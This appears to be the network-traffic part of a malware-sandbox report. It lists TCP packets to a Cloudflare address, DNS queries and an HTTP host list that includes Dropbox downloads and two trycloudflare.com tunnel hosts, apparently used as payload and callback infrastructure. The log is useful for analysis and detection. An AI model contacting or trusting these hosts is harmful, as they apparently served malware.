Oct 25, 2024 10:17:47.866213083 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.866240978 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.866255999 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.866322994 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.866364002 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.866384029 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.866389990 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.866415024 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.866431952 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.866487980 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.866529942 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.866540909 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.866549969 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.866579056 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.866595030 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.866671085 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.866710901 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.866749048 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.866756916 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.866782904 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.866795063 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.866835117 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.866878986 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.866892099 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.866900921 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.866931915 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.866945982 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.867019892 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.867062092 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.867074966 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.867082119 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.867111921 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.867182970 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.867223978 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.867242098 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.867249012 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.867271900 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.867290020 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.867374897 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.867429018 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.867434978 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.867455959 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.867484093 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.867501974 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.867585897 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.867628098 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.867651939 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.867657900 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.867681980 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.867697954 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.867757082 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.867795944 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.867816925 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.867822886 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.867846966 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.867867947 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.867919922 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.867961884 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.867974043 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.867984056 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.868014097 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.868027925 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.868113041 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.868159056 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.868180037 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.868185997 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.868211031 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.868227005 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.868299007 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.868340015 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.868360043 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.868366957 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.868391991 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.868408918 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.868463993 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.868508101 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.868520021 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.868530035 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.868558884 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.868573904 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.868650913 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.868690014 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.868707895 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.868715048 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.868740082 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.868755102 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.868812084 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.868853092 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.868872881 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.868879080 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.868904114 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.868921041 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.868978977 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.869021893 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.869041920 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.869048119 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.869071007 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.869088888 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.869147062 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.869189978 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.869203091 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.869210005 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.869237900 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.869254112 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.869330883 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.869373083 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.869388103 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.869395018 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.869421959 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.869438887 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.869517088 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.869556904 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.869569063 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.869577885 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.869606018 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.869621038 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.869715929 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.869755030 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.869776011 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.869781971 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.869806051 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.869822025 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.869884014 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.869921923 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.869936943 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.869944096 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.869970083 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.869988918 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.870043993 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.870089054 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.870094061 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.870110989 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.870141029 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.870157957 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.870261908 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.870307922 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.870328903 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.870336056 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.870362043 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.870378017 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.870440960 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.870484114 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.870498896 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.870506048 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.870534897 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.870551109 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.870625973 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.870666027 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.870688915 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.870695114 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.870718956 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.870735884 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.870794058 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.870839119 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.870857954 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.870863914 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.870887995 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.870906115 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.870961905 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.871002913 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.871023893 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.871030092 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.871053934 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.871072054 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.871130943 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.871177912 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.871192932 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.871200085 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.871226072 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.871243000 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.871300936 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.871356964 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.871412992 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.871463060 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.871474028 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.871491909 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.871519089 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.871525049 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.871539116 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.871547937 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.871558905 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.871563911 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.871577978 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.871592999 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.871627092 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.871632099 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.871642113 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.871668100 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.871686935 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.871695042 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.871710062 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.871716976 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.871757030 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.871758938 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.871771097 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.871793985 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.871817112 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.871819019 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.871829033 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.871835947 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.871851921 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.871864080 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.871870041 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.871896982 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.871896982 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.871912956 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.871937990 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.871942997 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.871954918 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.871967077 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.871970892 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.872000933 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.872004986 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.872015953 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.872028112 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.872030020 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.872064114 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.872065067 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.872075081 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.872091055 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.872097015 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.872117996 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.872123003 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.872133970 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.872150898 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.872154951 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.872183084 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.872184992 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.872195959 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.872204065 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.872242928 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.872245073 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.872252941 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.872275114 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.872296095 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.872296095 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.872308969 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.872319937 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.872327089 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.872345924 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.872350931 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.872360945 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.872370005 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.872375965 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.872390985 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.872395992 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.872406006 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.872425079 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.872426033 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.872454882 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.872478008 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.872483969 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.872503996 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:47.872514009 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.872526884 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:47.872560978 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:48.079376936 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:48.122793913 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:48.331341028 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:48.331490993 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:48.767369986 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:48.767472029 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:49.631344080 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:49.631407976 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:51.331330061 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:51.333192110 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:54.847347021 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:54.847415924 CEST	58442	443	192.168.2.17	104.16.231.132

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 25, 2024 10:15:44.060571909 CEST	53	49338	1.1.1.1	192.168.2.17
Oct 25, 2024 10:15:44.102282047 CEST	53	62209	1.1.1.1	192.168.2.17
Oct 25, 2024 10:15:44.790734053 CEST	52044	53	192.168.2.17	1.1.1.1
Oct 25, 2024 10:15:44.790957928 CEST	56668	53	192.168.2.17	1.1.1.1
Oct 25, 2024 10:15:44.800733089 CEST	53	52044	1.1.1.1	192.168.2.17
Oct 25, 2024 10:15:44.809799910 CEST	53	56668	1.1.1.1	192.168.2.17
Oct 25, 2024 10:15:45.379740953 CEST	53	57337	1.1.1.1	192.168.2.17
Oct 25, 2024 10:15:48.734991074 CEST	58921	53	192.168.2.17	1.1.1.1
Oct 25, 2024 10:15:48.735333920 CEST	62436	53	192.168.2.17	1.1.1.1
Oct 25, 2024 10:15:48.938030005 CEST	53	62436	1.1.1.1	192.168.2.17
Oct 25, 2024 10:15:48.938051939 CEST	53	58921	1.1.1.1	192.168.2.17
Oct 25, 2024 10:16:00.309462070 CEST	53	54120	1.1.1.1	192.168.2.17
Oct 25, 2024 10:16:02.385622025 CEST	53	63486	1.1.1.1	192.168.2.17
Oct 25, 2024 10:16:21.295200109 CEST	53	53170	1.1.1.1	192.168.2.17
Oct 25, 2024 10:16:43.943150997 CEST	53	63505	1.1.1.1	192.168.2.17
Oct 25, 2024 10:16:43.976954937 CEST	53	52505	1.1.1.1	192.168.2.17
Oct 25, 2024 10:16:58.157119036 CEST	138	138	192.168.2.17	192.168.2.255
Oct 25, 2024 10:17:12.566994905 CEST	53	55635	1.1.1.1	192.168.2.17
Oct 25, 2024 10:17:23.946053982 CEST	49683	53	192.168.2.17	1.1.1.1
Oct 25, 2024 10:17:23.955323935 CEST	53	49683	1.1.1.1	192.168.2.17
Oct 25, 2024 10:17:29.843947887 CEST	59230	53	192.168.2.17	1.1.1.1
Oct 25, 2024 10:17:57.730633974 CEST	53	54773	1.1.1.1	192.168.2.17

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 25, 2024 10:15:44.790734053 CEST	192.168.2.17	1.1.1.1	0xf176	Standard query (0)	dl.dropboxusercontent.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:15:44.790957928 CEST	192.168.2.17	1.1.1.1	0x839e	Standard query (0)	dl.dropboxusercontent.com	65	IN (0x0001)	false
Oct 25, 2024 10:15:48.734991074 CEST	192.168.2.17	1.1.1.1	0x99bf	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:15:48.735333920 CEST	192.168.2.17	1.1.1.1	0xed38	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 25, 2024 10:17:23.946053982 CEST	192.168.2.17	1.1.1.1	0x14ab	Standard query (0)	retailer-indicators-resume-key.trycloudflare.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:17:29.843947887 CEST	192.168.2.17	1.1.1.1	0x70e3	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 25, 2024 10:15:44.800733089 CEST	1.1.1.1	192.168.2.17	0xf176	No error (0)	dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:15:44.800733089 CEST	1.1.1.1	192.168.2.17	0xf176	No error (0)	edge-block-www-env.dropbox-dns.com		162.125.66.15	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:15:44.809799910 CEST	1.1.1.1	192.168.2.17	0x839e	No error (0)	dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:15:48.938030005 CEST	1.1.1.1	192.168.2.17	0xed38	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 25, 2024 10:15:48.938051939 CEST	1.1.1.1	192.168.2.17	0x99bf	No error (0)	www.google.com		142.250.185.228	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:15:54.291470051 CEST	1.1.1.1	192.168.2.17	0xb7c0	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:15:54.291470051 CEST	1.1.1.1	192.168.2.17	0xb7c0	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:17:23.955323935 CEST	1.1.1.1	192.168.2.17	0x14ab	No error (0)	retailer-indicators-resume-key.trycloudflare.com		104.16.231.132	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:17:23.955323935 CEST	1.1.1.1	192.168.2.17	0x14ab	No error (0)	retailer-indicators-resume-key.trycloudflare.com		104.16.230.132	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:17:29.851078033 CEST	1.1.1.1	192.168.2.17	0x70e3	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 25, 2024 10:17:30.750318050 CEST	1.1.1.1	192.168.2.17	0x7582	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:17:30.750318050 CEST	1.1.1.1	192.168.2.17	0x7582	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

dl.dropboxusercontent.com

slscr.update.microsoft.com

fs.microsoft.com

evoke-windowsservices-tas.msedge.net

theme-crack-emissions-perspectives.trycloudflare.com

www.bing.com

retailer-indicators-resume-key.trycloudflare.com

armmf.adobe.com

HTTPS Proxied Packets

